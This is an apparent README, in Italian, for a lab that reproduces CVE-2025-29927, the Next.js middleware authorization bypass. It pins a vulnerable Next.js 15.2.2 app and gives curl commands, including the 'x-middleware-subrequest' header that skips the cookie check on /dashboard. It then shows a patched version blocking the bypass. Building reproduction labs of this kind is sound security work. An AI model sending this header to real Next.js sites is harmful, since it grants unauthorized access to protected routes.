
Laboratorio di riproduzione per CVE-2025-29927 — bypass dell'autorizzazione middleware di Next.js (CVSS 9.1)
Laboratorio di riproduzione minimale per CVE-2025-29927 — bypass dell'autorizzazione del middleware di Next.js (CVSS 9.1).
Complemento di: Writeup dell'analisi N-Day su Medium
Un'app Next.js 15.2.2 (vulnerabile) con una route /dashboard protetta da cookie. Il controllo di autenticazione del middleware può essere aggirato inviando una singola intestazione HTTP — senza bisogno di credenziali.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
Passaggio 1 — Confermare che il middleware blocca le richieste non autenticate:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
Passaggio 2 — Aggirare il middleware con l'intestazione di subrequest:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
Passaggio 3 — Passare alla versione patchata e confermare che il bypass è bloccato:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| Route | Accesso |
|---|---|
/ | Pubblico |
/login | Pubblico |
/dashboard | Protetta dal middleware (richiede il cookie session) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5